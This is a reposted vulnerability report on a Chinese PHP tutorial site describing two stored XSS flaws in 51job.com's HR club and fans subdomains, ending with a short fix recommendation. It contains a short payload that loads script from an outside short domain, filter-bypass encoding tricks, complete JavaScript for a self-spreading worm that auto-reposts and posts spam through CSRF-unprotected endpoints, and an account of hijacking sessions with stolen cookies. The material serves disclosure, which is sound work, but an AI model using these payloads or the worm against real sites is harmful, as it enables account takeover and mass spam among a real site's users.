网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

前程无忧(51job.com) 两枚存储型XSS + 蠕虫 (html标签

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 两枚存储型XSS 分别处于:1 http: hrclub 51job com 2 http: fans 51job com 先来说第一个 hr club漏洞存在于日志发表 - 作者处 (http: hrclub 51job com blog user_post asp)着重说下这里:只能输入...

两枚存储型XSS 分别处于:


1.http://hrclub.51job.com/

2.http://fans.51job.com/



先来说第一个 hr club

漏洞存在于日志发表 - 作者处 (http://hrclub.51job.com/blog/user_post.asp)

着重说下这里:只能输入20个字符 前端限制15字符 未做任何过滤!

20字符 在html标签外 <a>([可控])</a>就是这样的环境 20字符如何去加载js?

<script src=//20.rs> 刚刚好20 可以利用Html代码后面的 </script> 或者让浏览器渲染后 补全都可以!

// 代表当前协议 然后再加上 parsec 团队的短域名 20.rs 这样组合在一起就成为了payload



上张图:

日志编辑界面
 

QQ20140818-1.png





前台日志
 

QQ20140818-2.png





可以看到未做任何过滤
 

QQ20140818-3.png





好了再来说下第二个存储型XSS吧

先上张图瞅一眼:
 

QQ20140818-5.png





这些是点开微博 自动转发的截图。在转发 发表微博什么的 全部未做csrf防护。这点安全意思需要加强啊!



再来说下 漏洞存在于哪吧,其实很简单 就是发微博的正文出。看下面的截图:
 

QQ20140818-6.png



可以看到 点击微博 看详情的时候 正文就被带入了script 然后没对 ' " > < / \ &#等字符进行编码 导致我成功闭合。然后用jQuery.getScript 成功加载js!(对关键字做了检测 Script 编码一下 绕过检测!对c 做了下unicode编码 :\u0063 在js中是可以使用js 16 js 8 jsunicode等编码的!在我这篇文章中曾提到过:http://drops.wooyun.org/tips/689)



然后我再对转发跟发表微博抓了个包,发现并未存在token,删除了来源页提交扔能成功!
 

QQ20140818-7.png





上面post包中的content 就是转发时 说的内容 urldecode 过来就是:挺不错喔,分享一下

然后还会自己再发表一条微博!

先看看代码吧:



;var address="http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";

var shuju="type=4&tsmtype=1&noticeid=140810019204190&replyid=140810019204190&org_replyid=&coid=&content=%E6%8C%BA%E4%B8%8D%E9%94%99%E5%96%94%EF%BC%8C%E5%88%86%E4%BA%AB%E4%B8%80%E4%B8%8B&tsmto=1&ctid=undefined";

ruchong(address,shuju);

function ruchong(url,data){

if (window.XMLHttpRequest){

var xmlhttp1=new XMLHttpRequest();

}

else{

var xmlhttp1=new ActiveXObject("Microsoft.XMLHTTP");

}

xmlhttp1.open("POST",url,true);

xmlhttp1.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

xmlhttp1.send(data);

};

for(var i=0;i<10;i++){

dizhi = "http://fans.51job.com/payservice/fans/ajax/weibo_ajax.php";

var id =[141505,1228355,2075311,154736,2505521,183831,370547,2014250,111351,126889];

var sendata="type=2&coid="+i+"&content=%E8%BF%99%E4%B8%AA%E6%89%BE%E5%B7%A5%E4%BD%9C%E6%8A%80%E5%B7%A7%E4%B8%8D%E9%94%99%E5%93%A6%EF%BC%8C%E5%90%84%E8%A1%8C%E5%90%84%E4%B8%9A%E7%9A%84%E5%A4%A7%E4%BD%AC%E4%BB%AC%E4%BA%B2%E8%87%AA%E4%BC%A0%E6%8E%88%EF%BC%81http%3A%2F%2Ffans.51job.com%2Fru7B4q&uploadimg=&is_comp=0&sina_authorize=0&qq_authorize=0";

ruchong(dizhi,sendata);

}



这个就是蠕虫的代码,先转发一次,然后再发表一条新的微博!

另外我还尝试了 获得cookie 并登陆 看截图:
 

QQ20140818-8.png





虽然做了httponly 但是仍然 能够登陆 看下图:
 

QQ20140818-9.png





成功登陆上去 使用的是我自己的cookie生成插件:
 

QQ20140818-10.png





只需把cookie放入左边 点击生成就会生成一段js代码 然后把代码放到浏览器里的console执行一下就好了!


 

QQ20140818-11.png





待会就把cookie都删了 请放心 我有节操。。。。 确认请多给点分 谢谢!
 

修复方案:

过滤特殊字符 ' " < > / \ & # 然后关键功能做上csrf的保护等等

不要以为可输入的字符短了 就一点过滤也不做。。。

好了 差不多就这些吧 希望可以多给点分

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论